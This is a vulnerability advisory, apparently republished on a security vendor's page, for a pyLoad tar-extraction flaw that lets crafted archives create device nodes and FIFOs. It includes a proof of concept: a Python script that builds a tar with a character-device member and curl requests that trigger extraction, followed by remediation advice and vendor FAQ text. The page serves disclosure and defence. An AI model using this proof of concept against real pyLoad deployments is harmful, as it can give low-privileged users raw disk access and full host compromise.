Summary
pyLoad: Tar extraction creates device nodes and FIFOs (member types not filtered; tarfile extractall without filter=)
UnTar._safe_extractall, the hardening added for GHSA-mvwx-582f-56r7, validates member
names and symlink/hardlink targets, but never checks member types, and callstarfile.extractall without a filter=. On Python < 3.14 the default extraction filter isfully_trusted, so a crafted tar containing device or FIFO entries makes pyLoad create
them on disk. When pyLoad runs as root (the official Docker deployment), a block-device
member grants raw disk access, full host compromise, reachable by any low-privileged user
who can trigger archive extraction (ADD to supply an archive, STATUS to invokeExtractArchive.extract_package).
Details
# plugins/extractors/UnTar.py:69-79
for member in tar.getmembers():
if not is_within_directory(...) or <symlink/hardlink target checks>: # names/links only
raise ArchiveError(...)
tar.extractall(path, members, numeric_owner=numeric_owner) # no filter=
No member.isdev() / ischr() / isblk() / isfifo() check exists, and the pre-validation
in plugins/base/extractor.py:191-263 is likewise name-only. Python's tarfile only defaults
to a safe filter in 3.14; supported runtimes (3.9–3.13) honor mknod for euid=0 and create
FIFOs for any euid.
PoC
BASE=http://127.0.0.1:8100
# craft a tar with: regular marker.txt + a CHRTYPE member (major=1,minor=3) + a FIFOTYPE member
python3 - <<'EOF'
import tarfile, io
t = tarfile.open('dev.bin','w') # name it *.bin so UnTar (content-sniffed) claims it
t.addfile(tarfile.TarInfo('marker.txt'), io.BytesIO(b'MARKER'))
i = tarfile.TarInfo('nulldev'); i.type = tarfile.CHRTYPE; i.devmajor=1; i.devminor=3; i.mode=0o666
t.addfile(i)
f = tarfile.TarInfo('pipe'); f.type = tarfile.FIFOTYPE
t.addfile(f); t.close()
EOF
# as a low-priv user (ADD|STATUS): add a package, place the archive in its download folder,
# then trigger extraction
curl -s -X POST "$BASE/api/add_package" -b ed.jar -H "X-CSRFToken: $T" \
-H 'Content-Type: application/json' -d '{"name":"poc","links":["http://x/dev.bin"],"dest":1}'
curl -s -X POST "$BASE/api/service_call" -b ed.jar -H "X-CSRFToken: $T" \
-H 'Content-Type: application/json' \
-d '{"service_name":"ExtractArchive.extract_package","arguments":["<pid>"]}'
ls -l <extract dir>
# → crw-rw-rw- 1 root root 1, 3 nulldev (character device created)
# → prw-r--r-- 1 root root pipe (FIFO created)
# → -rw-r--r-- 1 root root marker.txt
Negative control: the same flow with a ../evil traversal member is rejected
(ArchiveError: Attempted path traversal in archive) and nothing is extracted, the
GHSA-mvwx name filter works; the gap is member-type-specific. (Note: when the 7z binary
is present, .tar-named files are claimed by SevenZip first by extension; the UnTar path is
reached via non-mapped names, as above, content-sniffed containers, or when 7z is
absent/fails.)
References
- GHSA-mvwx-582f-56r7, the tar path-traversal fix this extends (names/links validated,
member types not).
Impact
With pyLoad as root, a crafted archive can create block/character device nodes at arbitrary
paths (raw disk read/write → host compromise), plant FIFOs (process hangs, IPC confusion),
or set special bits; non-root deployments still get FIFOs and node entries in
user-accessible trees.
Input manipulates file paths to reach files outside the intended directory, such as configuration or credential files. Typical impact: unauthorized file read or write outside the intended directory.
Affected versions
Security releases
Kodem intelligence
Severity tells you how bad this could be in the worst case. It does not tell you whether you are exposed. Exploitability and impact are functions of runtime truth: whether the vulnerable code is present, reachable, and actually executes in your application. A vulnerable package can sit in your dependency tree and never run.
Kodem, an Intelligent Application Security platform, uses runtime intelligence to reveal which vulnerabilities actually execute in production, so teams prioritize the ones that genuinely matter. Kodem's runtime-powered SCA identifies whether this CVE is reachable in your applications.
Already deployed Kodem?
See it in your environmentNew to Kodem? Get a demo →Remediation advice
In _safe_extractall, reject (or skip) every member that is not a regular file, directory,
or safe link, e.g. member.isdev() or isfifo() → ArchiveError, and passfilter="data" (Python ≥ 3.12 supports it; backport the check for older runtimes). Apply
the same member-type validation in the pre-extraction validator so all extractors share it.
Frequently Asked Questions
- What is GHSA-FR26-JJHM-638C? GHSA-FR26-JJHM-638C is a high-severity path traversal vulnerability in pyload-ng (pip), affecting versions <= 0.5.0b3.dev101. No fixed version is listed yet. Input manipulates file paths to reach files outside the intended directory, such as configuration or credential files.
- Which versions of pyload-ng are affected by GHSA-FR26-JJHM-638C? pyload-ng (pip) versions <= 0.5.0b3.dev101 is affected.
- Is there a fix for GHSA-FR26-JJHM-638C? No fixed version is listed for GHSA-FR26-JJHM-638C yet. Monitor the advisory for updates and apply mitigations in the interim.
- Is GHSA-FR26-JJHM-638C exploitable, and should I be worried? Whether GHSA-FR26-JJHM-638C is exploitable in your environment depends on whether the vulnerable code is present and reachable. A CVSS score is a worst-case rating; it does not account for your specific deployment, configuration, or usage patterns. Kodem, an Intelligent Application Security platform, uses runtime intelligence to show which vulnerabilities actually execute in production, so you can focus on the ones that represent real risk. Get a demo
- What actually determines whether GHSA-FR26-JJHM-638C is exploitable, and how bad it is? Exploitability and impact are not fixed properties of a CVE. They depend on runtime truth: whether the vulnerable code is present, reachable, and actually executes in your application. A high CVSS score on a dependency that never runs is not the same as real risk. Kodem, an Intelligent Application Security platform, uses runtime intelligence to reveal which vulnerabilities actually execute in production, so teams prioritize the ones that genuinely matter.
- How do I fix GHSA-FR26-JJHM-638C? No fixed version is listed yet. In the interim: Resolve the canonical path after applying any user-supplied input, and verify it remains within the intended directory before accessing it.